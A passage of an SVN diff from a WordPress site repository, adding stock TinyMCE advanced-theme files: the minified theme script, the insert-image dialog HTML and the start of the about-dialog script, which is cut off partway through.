+(function(e){var d=e.DOM,b=e.dom.Event,h=e.extend,f=e.each,a=e.util.Cookie,g,c=e.explode;e.ThemeManager.requireLangPack("advanced");e.create("tinymce.themes.AdvancedTheme",{sizes:[8,10,12,14,18,24,36],controls:{bold:["bold_desc","Bold"],italic:["italic_desc","Italic"],underline:["underline_desc","Underline"],strikethrough:["striketrough_desc","Strikethrough"],justifyleft:["justifyleft_desc","JustifyLeft"],justifycenter:["justifycenter_desc","JustifyCenter"],justifyright:["justifyright_desc","JustifyRight"],justifyfull:["justifyfull_desc","JustifyFull"],bullist:["bullist_desc","InsertUnorderedList"],numlist:["numlist_desc","InsertOrderedList"],outdent:["outdent_desc","Outdent"],indent:["indent_desc","Indent"],cut:["cut_desc","Cut"],copy:["copy_desc","Copy"],paste:["paste_desc","Paste"],undo:["undo_desc","Undo"],redo:["redo_desc","Redo"],link:["link_desc","mceLink"],unlink:["unlink_desc","unlink"],image:["image_desc","mceImage"],cleanup:["cleanup_desc","mceCleanup"],help:["help_desc","mceHelp"],code:["code_desc","mceCodeEditor"],hr:["hr_desc","InsertHorizontalRule"],removeformat:["removeformat_desc","RemoveFormat"],sub:["sub_desc","subscript"],sup:["sup_desc","superscript"],forecolor:["forecolor_desc","ForeColor"],forecolorpicker:["forecolor_desc","mceForeColor"],backcolor:["backcolor_desc","HiliteColor"],backcolorpicker:["backcolor_desc","mceBackColor"],charmap:["charmap_desc","mceCharMap"],visualaid:["visualaid_desc","mceToggleVisualAid"],anchor:["anchor_desc","mceInsertAnchor"],newdocument:["newdocument_desc","mceNewDocument"],blockquote:["blockquote_desc","mceBlockQuote"]},stateControls:["bold","italic","underline","strikethrough","bullist","numlist","justifyleft","justifycenter","justifyright","justifyfull","sub","sup","blockquote"],init:function(j,k){var l=this,m,i,n;l.editor=j;l.url=k;l.onResolveName=new e.util.Dispatcher(this);l.settings=m=h({theme_advanced_path:true,theme_advanced_toolbar_location:"bottom",theme_advanced_buttons1:"bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect",theme_advanced_buttons2:"bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code",theme_advanced_buttons3:"hr,removeformat,visualaid,|,sub,sup,|,charmap",theme_advanced_blockformats:"p,address,pre,h1,h2,h3,h4,h5,h6",theme_advanced_toolbar_align:"center",theme_advanced_fonts:"Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",theme_advanced_more_colors:1,theme_advanced_row_height:23,theme_advanced_resize_horizontal:1,theme_advanced_resizing_use_cookie:1,theme_advanced_font_sizes:"1,2,3,4,5,6,7",readonly:j.settings.readonly},j.settings);if(!m.font_size_style_values){m.font_size_style_values="8pt,10pt,12pt,14pt,18pt,24pt,36pt"}if(e.is(m.theme_advanced_font_sizes,"string")){m.font_size_style_values=e.explode(m.font_size_style_values);m.font_size_classes=e.explode(m.font_size_classes||"");n={};j.settings.theme_advanced_font_sizes=m.theme_advanced_font_sizes;f(j.getParam("theme_advanced_font_sizes","","hash"),function(q,p){var o;if(p==q&&q>=1&&q<=7){p=q+" ("+l.sizes[q-1]+"pt)";if(j.settings.convert_fonts_to_spans){o=m.font_size_classes[q-1];q=m.font_size_style_values[q-1]||(l.sizes[q-1]+"pt")}}if(/^\s*\./.test(q)){o=q.replace(/\./g,"")}n[p]=o?{"class":o}:{fontSize:q}});m.theme_advanced_font_sizes=n}if((i=m.theme_advanced_path_location)&&i!="none"){m.theme_advanced_statusbar_location=m.theme_advanced_path_location}if(m.theme_advanced_statusbar_location=="none"){m.theme_advanced_statusbar_location=0}j.onInit.add(function(){j.onNodeChange.add(l._nodeChanged,l);if(j.settings.content_css!==false){j.dom.loadCSS(j.baseURI.toAbsolute("themes/advanced/skins/"+j.settings.skin+"/content.css"))}});j.onSetProgressState.add(function(q,o,r){var s,t=q.id,p;if(o){l.progressTimer=setTimeout(function(){s=q.getContainer();s=s.insertBefore(d.create("DIV",{style:"position:relative"}),s.firstChild);p=d.get(q.id+"_tbl");d.add(s,"div",{id:t+"_blocker","class":"mceBlocker",style:{width:p.clientWidth+2,height:p.clientHeight+2}});d.add(s,"div",{id:t+"_progress","class":"mceProgress",style:{left:p.clientWidth/2,top:p.clientHeight/2}})},r||0)}else{d.remove(t+"_blocker");d.remove(t+"_progress");clearTimeout(l.progressTimer)}});d.loadCSS(m.editor_css?j.documentBaseURI.toAbsolute(m.editor_css):k+"/skins/"+j.settings.skin+"/ui.css");if(m.skin_variant){d.loadCSS(k+"/skins/"+j.settings.skin+"/ui_"+m.skin_variant+".css")}},createControl:function(l,i){var j,k;if(k=i.createControl(l)){return k}switch(l){case"styleselect":return this._createStyleSelect();case"formatselect":return this._createBlockFormats();case"fontselect":return this._createFontSelect();case"fontsizeselect":return this._createFontSizeSelect();case"forecolor":return this._createForeColorMenu();case"backcolor":return this._createBackColorMenu()}if((j=this.controls[l])){return i.createButton(l,{title:"advanced."+j[0],cmd:j[1],ui:j[2],value:j[3]})}},execCommand:function(k,j,l){var i=this["_"+k];if(i){i.call(this,j,l);return true}return false},_importClasses:function(j){var i=this.editor,k=i.controlManager.get("styleselect");if(k.getLength()==0){f(i.dom.getClasses(),function(l){k.add(l["class"],l["class"])})}},_createStyleSelect:function(m){var j=this,i=j.editor,k=i.controlManager,l=k.createListBox("styleselect",{title:"advanced.style_select",onselect:function(n){if(l.selectedValue===n){i.execCommand("mceSetStyleInfo",0,{command:"removeformat"});l.select();return false}else{i.execCommand("mceSetCSSClass",0,n)}}});if(l){f(i.getParam("theme_advanced_styles","","hash"),function(o,n){if(o){l.add(j.editor.translate(n),o)}});l.onPostRender.add(function(o,p){if(!l.NativeListBox){b.add(p.id+"_text","focus",j._importClasses,j);b.add(p.id+"_text","mousedown",j._importClasses,j);b.add(p.id+"_open","focus",j._importClasses,j);b.add(p.id+"_open","mousedown",j._importClasses,j)}else{b.add(p.id,"focus",j._importClasses,j)}})}return l},_createFontSelect:function(){var k,j=this,i=j.editor;k=i.controlManager.createListBox("fontselect",{title:"advanced.fontdefault",cmd:"FontName"});if(k){f(i.getParam("theme_advanced_fonts",j.settings.theme_advanced_fonts,"hash"),function(m,l){k.add(i.translate(l),m,{style:m.indexOf("dings")==-1?"font-family:"+m:""})})}return k},_createFontSizeSelect:function(){var m=this,k=m.editor,n,l=0,j=[];n=k.controlManager.createListBox("fontsizeselect",{title:"advanced.font_size",onselect:function(i){if(i.fontSize){k.execCommand("FontSize",false,i.fontSize)}else{f(m.settings.theme_advanced_font_sizes,function(p,o){if(p["class"]){j.push(p["class"])}});k.editorCommands._applyInlineStyle("span",{"class":i["class"]},{check_classes:j})}}});if(n){f(m.settings.theme_advanced_font_sizes,function(o,i){var p=o.fontSize;if(p>=1&&p<=7){p=m.sizes[parseInt(p)-1]+"pt"}n.add(i,o,{style:"font-size:"+p,"class":"mceFontSize"+(l++)+(" "+(o["class"]||""))})})}return n},_createBlockFormats:function(){var k,i={p:"advanced.paragraph",address:"advanced.address",pre:"advanced.pre",h1:"advanced.h1",h2:"advanced.h2",h3:"advanced.h3",h4:"advanced.h4",h5:"advanced.h5",h6:"advanced.h6",div:"advanced.div",blockquote:"advanced.blockquote",code:"advanced.code",dt:"advanced.dt",dd:"advanced.dd",samp:"advanced.samp"},j=this;k=j.editor.controlManager.createListBox("formatselect",{title:"advanced.block",cmd:"FormatBlock"});if(k){f(j.editor.getParam("theme_advanced_blockformats",j.settings.theme_advanced_blockformats,"hash"),function(m,l){k.add(j.editor.translate(l!=m?l:i[m]),m,{"class":"mce_formatPreview mce_"+m})})}return k},_createForeColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_text_colors){l.colors=i}if(k.theme_advanced_default_foreground_color){l.default_color=k.theme_advanced_default_foreground_color}l.title="advanced.forecolor_desc";l.cmd="ForeColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("forecolor",l);return m},_createBackColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_background_colors){l.colors=i}if(k.theme_advanced_default_background_color){l.default_color=k.theme_advanced_default_background_color}l.title="advanced.backcolor_desc";l.cmd="HiliteColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("backcolor",l);return m},renderUI:function(k){var m,l,q,v=this,r=v.editor,w=v.settings,u,j,i;m=j=d.create("span",{id:r.id+"_parent","class":"mceEditor "+r.settings.skin+"Skin"+(w.skin_variant?" "+r.settings.skin+"Skin"+v._ufirst(w.skin_variant):"")});if(!d.boxModel){m=d.add(m,"div",{"class":"mceOldBoxModel"})}m=u=d.add(m,"table",{id:r.id+"_tbl","class":"mceLayout",cellSpacing:0,cellPadding:0});m=q=d.add(m,"tbody");switch((w.theme_advanced_layout_manager||"").toLowerCase()){case"rowlayout":l=v._rowLayout(w,q,k);break;case"customlayout":l=r.execCallback("theme_advanced_custom_layout",w,q,k,j);break;default:l=v._simpleLayout(w,q,k,j)}m=k.targetNode;i=d.stdMode?u.getElementsByTagName("tr"):u.rows;d.addClass(i[0],"mceFirst");d.addClass(i[i.length-1],"mceLast");f(d.select("tr",q),function(o){d.addClass(o.firstChild,"mceFirst");d.addClass(o.childNodes[o.childNodes.length-1],"mceLast")});if(d.get(w.theme_advanced_toolbar_container)){d.get(w.theme_advanced_toolbar_container).appendChild(j)}else{d.insertAfter(j,m)}b.add(r.id+"_path_row","click",function(n){n=n.target;if(n.nodeName=="A"){v._sel(n.className.replace(/^.*mcePath_([0-9]+).*$/,"$1"));return b.cancel(n)}});if(!r.getParam("accessibility_focus")){b.add(d.add(j,"a",{href:"#"},"<!-- IE -->"),"focus",function(){tinyMCE.get(r.id).focus()})}if(w.theme_advanced_toolbar_location=="external"){k.deltaHeight=0}v.deltaHeight=k.deltaHeight;k.targetNode=null;return{iframeContainer:l,editorContainer:r.id+"_parent",sizeContainer:u,deltaHeight:k.deltaHeight}},getInfo:function(){return{longname:"Advanced theme",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",version:e.majorVersion+"."+e.minorVersion}},resizeBy:function(i,j){var k=d.get(this.editor.id+"_tbl");this.resizeTo(k.clientWidth+i,k.clientHeight+j)},resizeTo:function(i,l){var j=this.editor,k=j.settings,n=d.get(j.id+"_tbl"),o=d.get(j.id+"_ifr"),m;i=Math.max(k.theme_advanced_resizing_min_width||100,i);l=Math.max(k.theme_advanced_resizing_min_height||100,l);i=Math.min(k.theme_advanced_resizing_max_width||65535,i);l=Math.min(k.theme_advanced_resizing_max_height||65535,l);m=n.clientHeight-o.clientHeight;d.setStyle(o,"height",l-m);d.setStyles(n,{width:i,height:l})},destroy:function(){var i=this.editor.id;b.clear(i+"_resize");b.clear(i+"_path_row");b.clear(i+"_external_close")},_simpleLayout:function(y,r,k,i){var x=this,u=x.editor,v=y.theme_advanced_toolbar_location,m=y.theme_advanced_statusbar_location,l,j,q,w;if(y.readonly){l=d.add(r,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"});return j}if(v=="top"){x._addToolbars(r,k)}if(v=="external"){l=w=d.create("div",{style:"position:relative"});l=d.add(l,"div",{id:u.id+"_external","class":"mceExternalToolbar"});d.add(l,"a",{id:u.id+"_external_close",href:"javascript:;","class":"mceExternalClose"});l=d.add(l,"table",{id:u.id+"_tblext",cellSpacing:0,cellPadding:0});q=d.add(l,"tbody");if(i.firstChild.className=="mceOldBoxModel"){i.firstChild.appendChild(w)}else{i.insertBefore(w,i.firstChild)}x._addToolbars(q,k);u.onMouseUp.add(function(){var o=d.get(u.id+"_external");d.show(o);d.hide(g);var n=b.add(u.id+"_external_close","click",function(){d.hide(u.id+"_external");b.remove(u.id+"_external_close","click",n)});d.show(o);d.setStyle(o,"top",0-d.getRect(u.id+"_tblext").h-1);d.hide(o);d.show(o);o.style.filter="";g=u.id+"_external";o=null})}if(m=="top"){x._addStatusBar(r,k)}if(!y.theme_advanced_toolbar_container){l=d.add(r,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"})}if(v=="bottom"){x._addToolbars(r,k)}if(m=="bottom"){x._addStatusBar(r,k)}return j},_rowLayout:function(w,m,k){var v=this,p=v.editor,u,x,i=p.controlManager,l,j,r,q;u=w.theme_advanced_containers_default_class||"";x=w.theme_advanced_containers_default_align||"center";f(c(w.theme_advanced_containers||""),function(s,o){var n=w["theme_advanced_container_"+s]||"";switch(n.toLowerCase()){case"mceeditor":l=d.add(m,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"});break;case"mceelementpath":v._addStatusBar(m,k);break;default:q=(w["theme_advanced_container_"+s+"_align"]||x).toLowerCase();q="mce"+v._ufirst(q);l=d.add(d.add(m,"tr"),"td",{"class":"mceToolbar "+(w["theme_advanced_container_"+s+"_class"]||u)+" "+q||x});r=i.createToolbar("toolbar"+o);v._addControls(n,r);d.setHTML(l,r.renderHTML());k.deltaHeight-=w.theme_advanced_row_height}});return j},_addControls:function(j,i){var k=this,l=k.settings,m,n=k.editor.controlManager;if(l.theme_advanced_disable&&!k._disabled){m={};f(c(l.theme_advanced_disable),function(o){m[o]=1});k._disabled=m}else{m=k._disabled}f(c(j),function(p){var o;if(m&&m[p]){return}if(p=="tablecontrols"){f(["table","|","row_props","cell_props","|","row_before","row_after","delete_row","|","col_before","col_after","delete_col","|","split_cells","merge_cells"],function(q){q=k.createControl(q,n);if(q){i.add(q)}});return}o=k.createControl(p,n);if(o){i.add(o)}})},_addToolbars:function(w,k){var z=this,p,m,r=z.editor,A=z.settings,y,j=r.controlManager,u,l,q=[],x;x=A.theme_advanced_toolbar_align.toLowerCase();x="mce"+z._ufirst(x);l=d.add(d.add(w,"tr"),"td",{"class":"mceToolbar "+x});if(!r.getParam("accessibility_focus")){q.push(d.createHTML("a",{href:"#",onfocus:"tinyMCE.get('"+r.id+"').focus();"},"<!-- IE -->"))}q.push(d.createHTML("a",{href:"#",accesskey:"q",title:r.getLang("advanced.toolbar_focus")},"<!-- IE -->"));for(p=1;(y=A["theme_advanced_buttons"+p]);p++){m=j.createToolbar("toolbar"+p,{"class":"mceToolbarRow"+p});if(A["theme_advanced_buttons"+p+"_add"]){y+=","+A["theme_advanced_buttons"+p+"_add"]}if(A["theme_advanced_buttons"+p+"_add_before"]){y=A["theme_advanced_buttons"+p+"_add_before"]+","+y}z._addControls(y,m);q.push(m.renderHTML());k.deltaHeight-=A.theme_advanced_row_height}q.push(d.createHTML("a",{href:"#",accesskey:"z",title:r.getLang("advanced.toolbar_focus"),onfocus:"tinyMCE.getInstanceById('"+r.id+"').focus();"},"<!-- IE -->"));d.setHTML(l,q.join(""))},_addStatusBar:function(m,j){var k,v=this,p=v.editor,w=v.settings,i,q,u,l;k=d.add(m,"tr");k=l=d.add(k,"td",{"class":"mceStatusbar"});k=d.add(k,"div",{id:p.id+"_path_row"},w.theme_advanced_path?p.translate("advanced.path")+": ":"&#160;");d.add(k,"a",{href:"#",accesskey:"x"});if(w.theme_advanced_resizing){d.add(l,"a",{id:p.id+"_resize",href:"javascript:;",onclick:"return false;","class":"mceResize"});if(w.theme_advanced_resizing_use_cookie){p.onPostRender.add(function(){var n=a.getHash("TinyMCE_"+p.id+"_size"),r=d.get(p.id+"_tbl");if(!n){return}if(w.theme_advanced_resize_horizontal){r.style.width=Math.max(10,n.cw)+"px"}r.style.height=Math.max(10,n.ch)+"px";d.get(p.id+"_ifr").style.height=Math.max(10,parseInt(n.ch)+v.deltaHeight)+"px"})}p.onPostRender.add(function(){b.add(p.id+"_resize","mousedown",function(x){var z,t,o,s,y,r;z=d.get(p.id+"_tbl");o=z.clientWidth;s=z.clientHeight;miw=w.theme_advanced_resizing_min_width||100;mih=w.theme_advanced_resizing_min_height||100;maw=w.theme_advanced_resizing_max_width||65535;mah=w.theme_advanced_resizing_max_height||65535;t=d.add(d.get(p.id+"_parent"),"div",{"class":"mcePlaceHolder"});d.setStyles(t,{width:o,height:s});d.hide(z);d.show(t);i={x:x.screenX,y:x.screenY,w:o,h:s,dx:null,dy:null};q=b.add(d.doc,"mousemove",function(B){var n,A;i.dx=B.screenX-i.x;i.dy=B.screenY-i.y;n=Math.max(miw,i.w+i.dx);A=Math.max(mih,i.h+i.dy);n=Math.min(maw,n);A=Math.min(mah,A);if(w.theme_advanced_resize_horizontal){t.style.width=n+"px"}t.style.height=A+"px";return b.cancel(B)});u=b.add(d.doc,"mouseup",function(n){var A;b.remove(d.doc,"mousemove",q);b.remove(d.doc,"mouseup",u);z.style.display="";d.remove(t);if(i.dx===null){return}A=d.get(p.id+"_ifr");if(w.theme_advanced_resize_horizontal){z.style.width=Math.max(10,i.w+i.dx)+"px"}z.style.height=Math.max(10,i.h+i.dy)+"px";A.style.height=Math.max(10,A.clientHeight+i.dy)+"px";if(w.theme_advanced_resizing_use_cookie){a.setHash("TinyMCE_"+p.id+"_size",{cw:i.w+i.dx,ch:i.h+i.dy})}});return b.cancel(x)})})}j.deltaHeight-=21;k=m=null},_nodeChanged:function(l,u,k,q){var y=this,i,r=0,x,m,z=y.settings,w,j,o;if(z.readonly){return}e.each(y.stateControls,function(n){u.setActive(n,l.queryCommandState(y.controls[n][1]))});u.setActive("visualaid",l.hasVisual);u.setDisabled("undo",!l.undoManager.hasUndo()&&!l.typing);u.setDisabled("redo",!l.undoManager.hasRedo());u.setDisabled("outdent",!l.queryCommandState("Outdent"));i=d.getParent(k,"A");if(m=u.get("link")){if(!i||!i.name){m.setDisabled(!i&&q);m.setActive(!!i)}}if(m=u.get("unlink")){m.setDisabled(!i&&q);m.setActive(!!i&&!i.name)}if(m=u.get("anchor")){m.setActive(!!i&&i.name);if(e.isWebKit){i=d.getParent(k,"IMG");m.setActive(!!i&&d.getAttrib(i,"mce_name")=="a")}}i=d.getParent(k,"IMG");if(m=u.get("image")){m.setActive(!!i&&k.className.indexOf("mceItem")==-1)}if(m=u.get("styleselect")){if(k.className){y._importClasses();m.select(k.className)}else{m.select()}}if(m=u.get("formatselect")){i=d.getParent(k,d.isBlock);if(i){m.select(i.nodeName.toLowerCase())}}if(l.settings.convert_fonts_to_spans){l.dom.getParent(k,function(p){if(p.nodeName==="SPAN"){if(!w&&p.className){w=p.className}if(!j&&p.style.fontSize){j=p.style.fontSize}if(!o&&p.style.fontFamily){o=p.style.fontFamily.replace(/[\"\']+/g,"").replace(/^([^,]+).*/,"$1").toLowerCase()}}return false});if(m=u.get("fontselect")){m.select(function(n){return n.replace(/^([^,]+).*/,"$1").toLowerCase()==o})}if(m=u.get("fontsizeselect")){m.select(function(n){if(n.fontSize&&n.fontSize===j){return true}if(n["class"]&&n["class"]===w){return true}})}}else{if(m=u.get("fontselect")){m.select(l.queryCommandValue("FontName"))}if(m=u.get("fontsizeselect")){x=l.queryCommandValue("FontSize");m.select(function(n){return n.fontSize==x})}}if(z.theme_advanced_path&&z.theme_advanced_statusbar_location){i=d.get(l.id+"_path")||d.add(l.id+"_path_row","span",{id:l.id+"_path"});d.setHTML(i,"");l.dom.getParent(k,function(A){var p=A.nodeName.toLowerCase(),s,v,t="";if(A.nodeType!=1||A.nodeName==="BR"||(d.hasClass(A,"mceItemHidden")||d.hasClass(A,"mceItemRemoved"))){return}if(x=d.getAttrib(A,"mce_name")){p=x}if(e.isIE&&A.scopeName!=="HTML"){p=A.scopeName+":"+p}p=p.replace(/mce\:/g,"");switch(p){case"b":p="strong";break;case"i":p="em";break;case"img":if(x=d.getAttrib(A,"src")){t+="src: "+x+" "}break;case"a":if(x=d.getAttrib(A,"name")){t+="name: "+x+" ";p+="#"+x}if(x=d.getAttrib(A,"href")){t+="href: "+x+" "}break;case"font":if(z.convert_fonts_to_spans){p="span"}if(x=d.getAttrib(A,"face")){t+="font: "+x+" "}if(x=d.getAttrib(A,"size")){t+="size: "+x+" "}if(x=d.getAttrib(A,"color")){t+="color: "+x+" "}break;case"span":if(x=d.getAttrib(A,"style")){t+="style: "+x+" "}break}if(x=d.getAttrib(A,"id")){t+="id: "+x+" "}if(x=A.className){x=x.replace(/(webkit-[\w\-]+|Apple-[\w\-]+|mceItem\w+|mceVisualAid)/g,"");if(x&&x.indexOf("mceItem")==-1){t+="class: "+x+" ";if(d.isBlock(A)||p=="img"||p=="span"){p+="."+x}}}p=p.replace(/(html:)/g,"");p={name:p,node:A,title:t};y.onResolveName.dispatch(y,p);t=p.title;p=p.name;v=d.create("a",{href:"javascript:;",onmousedown:"return false;",title:t,"class":"mcePath_"+(r++)},p);if(i.hasChildNodes()){i.insertBefore(d.doc.createTextNode(" \u00bb "),i.firstChild);i.insertBefore(v,i.firstChild)}else{i.appendChild(v)}},l.getBody())}},_sel:function(i){this.editor.execCommand("mceSelectNodeDepth",false,i)},_mceInsertAnchor:function(k,j){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/anchor.htm",width:320+parseInt(i.getLang("advanced.anchor_delta_width",0)),height:90+parseInt(i.getLang("advanced.anchor_delta_height",0)),inline:true},{theme_url:this.url})},_mceCharMap:function(){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/charmap.htm",width:550+parseInt(i.getLang("advanced.charmap_delta_width",0)),height:250+parseInt(i.getLang("advanced.charmap_delta_height",0)),inline:true},{theme_url:this.url})},_mceHelp:function(){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/about.htm",width:480,height:380,inline:true},{theme_url:this.url})},_mceColorPicker:function(k,j){var i=this.editor;j=j||{};i.windowManager.open({url:e.baseURL+"/themes/advanced/color_picker.htm",width:375+parseInt(i.getLang("advanced.colorpicker_delta_width",0)),height:250+parseInt(i.getLang("advanced.colorpicker_delta_height",0)),close_previous:false,inline:true},{input_color:j.color,func:j.func,theme_url:this.url})},_mceCodeEditor:function(j,k){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/source_editor.htm",width:parseInt(i.getParam("theme_advanced_source_editor_width",720)),height:parseInt(i.getParam("theme_advanced_source_editor_height",580)),inline:true,resizable:true,maximizable:true},{theme_url:this.url})},_mceImage:function(j,k){var i=this.editor;if(i.dom.getAttrib(i.selection.getNode(),"class").indexOf("mceItem")!=-1){return}i.windowManager.open({url:e.baseURL+"/themes/advanced/image.htm",width:355+parseInt(i.getLang("advanced.image_delta_width",0)),height:275+parseInt(i.getLang("advanced.image_delta_height",0)),inline:true},{theme_url:this.url})},_mceLink:function(j,k){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/link.htm",width:310+parseInt(i.getLang("advanced.link_delta_width",0)),height:200+parseInt(i.getLang("advanced.link_delta_height",0)),inline:true},{theme_url:this.url})},_mceNewDocument:function(){var i=this.editor;i.windowManager.confirm("advanced.newdocument",function(j){if(j){i.execCommand("mceSetContent",false,"")}})},_mceForeColor:function(){var i=this;this._mceColorPicker(0,{color:i.fgColor,func:function(j){i.fgColor=j;i.editor.execCommand("ForeColor",false,j)}})},_mceBackColor:function(){var i=this;this._mceColorPicker(0,{color:i.bgColor,func:function(j){i.bgColor=j;i.editor.execCommand("HiliteColor",false,j)}})},_ufirst:function(i){return i.substring(0,1).toUpperCase()+i.substring(1)}});e.ThemeManager.add("advanced",e.themes.AdvancedTheme)}(tinymce));
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/image.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/image.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/image.htm	(revision 44)
@@ -0,0 +1,89 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>{#advanced_dlg.image_title}</title>
+	<script type="text/javascript" src="../../tiny_mce_popup.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/mctabs.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/form_utils.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="js/image.js?ver=3241-1141"></script>
+</head>
+<body id="image" style="display: none">
+<form onsubmit="ImageDialog.update();return false;" action="#">
+	<div class="tabs">
+		<ul>
+			<li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advanced_dlg.image_title}</a></span></li>
+		</ul>
+	</div>
+
+	<div class="panel_wrapper">
+		<div id="general_panel" class="panel current">
+     <table border="0" cellpadding="4" cellspacing="0">
+          <tr>
+            <td class="nowrap"><label for="src">{#advanced_dlg.image_src}</label></td>
+            <td><table border="0" cellspacing="0" cellpadding="0">
+                <tr>
+                  <td><input id="src" name="src" type="text" class="mceFocus" value="" style="width: 200px" onchange="ImageDialog.getImageData();" /></td>
+                  <td id="srcbrowsercontainer">&nbsp;</td>
+                </tr>
+              </table></td>
+          </tr>
+		  <tr>
+			<td><label for="image_list">{#advanced_dlg.image_list}</label></td>
+			<td><select id="image_list" name="image_list" onchange="document.getElementById('src').value=this.options[this.selectedIndex].value;document.getElementById('alt').value=this.options[this.selectedIndex].text;"></select></td>
+		  </tr>
+          <tr>
+            <td class="nowrap"><label for="alt">{#advanced_dlg.image_alt}</label></td>
+            <td><input id="alt" name="alt" type="text" value="" style="width: 200px" /></td>
+          </tr>
+          <tr>
+            <td class="nowrap"><label for="align">{#advanced_dlg.image_align}</label></td>
+            <td><select id="align" name="align" onchange="ImageDialog.updateStyle();">
+                <option value="">{#not_set}</option>
+                <option value="baseline">{#advanced_dlg.image_align_baseline}</option>
+                <option value="top">{#advanced_dlg.image_align_top}</option>
+                <option value="middle">{#advanced_dlg.image_align_middle}</option>
+                <option value="bottom">{#advanced_dlg.image_align_bottom}</option>
+                <option value="text-top">{#advanced_dlg.image_align_texttop}</option>
+                <option value="text-bottom">{#advanced_dlg.image_align_textbottom}</option>
+                <option value="left">{#advanced_dlg.image_align_left}</option>
+                <option value="right">{#advanced_dlg.image_align_right}</option>
+              </select></td>
+          </tr>
+          <tr>
+            <td class="nowrap"><label for="width">{#advanced_dlg.image_dimensions}</label></td>
+            <td><input id="width" name="width" type="text" value="" size="3" maxlength="5" />
+              x
+              <input id="height" name="height" type="text" value="" size="3" maxlength="5" /></td>
+          </tr>
+          <tr>
+            <td class="nowrap"><label for="border">{#advanced_dlg.image_border}</label></td>
+            <td><input id="border" name="border" type="text" value="" size="3" maxlength="3" onchange="ImageDialog.updateStyle();" /></td>
+          </tr>
+          <tr>
+            <td class="nowrap"><label for="vspace">{#advanced_dlg.image_vspace}</label></td>
+            <td><input id="vspace" name="vspace" type="text" value="" size="3" maxlength="3" onchange="ImageDialog.updateStyle();" /></td>
+          </tr>
+          <tr>
+            <td class="nowrap"><label for="hspace">{#advanced_dlg.image_hspace}</label></td>
+            <td><input id="hspace" name="hspace" type="text" value="" size="3" maxlength="3" onchange="ImageDialog.updateStyle();" /></td>
+          </tr>
+		  <tr>
+            <td class="nowrap"><label for="class_name">{#class_name}</label></td>
+            <td><input type="text" id="class_name" name="class_name" style="width: 140px" value="" /></td>
+          </tr>
+        </table>
+		</div>
+	</div>
+
+	<div class="mceActionPanel">
+		<div style="float: left">
+			<input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" />
+		</div>
+
+		<div style="float: right">
+			<input type="submit" id="insert" name="insert" value="{#insert}" />
+		</div>
+	</div>
+</form>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/about.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/about.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/about.js	(revision 44)
@@ -0,0 +1,72 @@
+tinyMCEPopup.requireLangPack();
+
+function init() {
+	var ed, tcont;
+
+	tinyMCEPopup.resizeToInnerSize();
+	ed = tinyMCEPopup.editor;
+
+	// Give FF some time
+	window.setTimeout(insertHelpIFrame, 10);
+
+	tcont = document.getElementById('plugintablecontainer');
+	document.getElementById('plugins_tab').style.display = 'none';
+
+	var html = "";
+	html += '<table id="plugintable">';
+	html += '<thead>';
+	html += '<tr>';
+	html += '<td>' + ed.getLang('advanced_dlg.about_plugin') + '</td>';
+	html += '<td>' + ed.getLang('advanced_dlg.about_author') + '</td>';
+	html += '<td>' + ed.getLang('advanced_dlg.about_version') + '</td>';
+	html += '</tr>';
+	html += '</thead>';
+	html += '<tbody>';
+
+	tinymce.each(ed.plugins, function(p, n) {
+		var info;
+
+		if (!p.getInfo)
+			return;
+
+		html += '<tr>';
+
+		info = p.getInfo();
+
+		if (info.infourl != null && info.infourl != '')
+			html += '<td width="50%" title="' + n + '"><a href="' + info.infourl + '" target="_blank">' + info.longname + '</a></td>';
+		else
+			html += '<td width="50%" title="' + n + '">' + info.longname + '</td>';
+
+		if (info.authorurl != null && info.authorurl != '')
+			html += '<td width="35%"><a href="' + info.authorurl + '" target="_blank">' + info.author + '</a></td>';
+		else
+			html += '<td width="35%">' + info.author + '</td>';
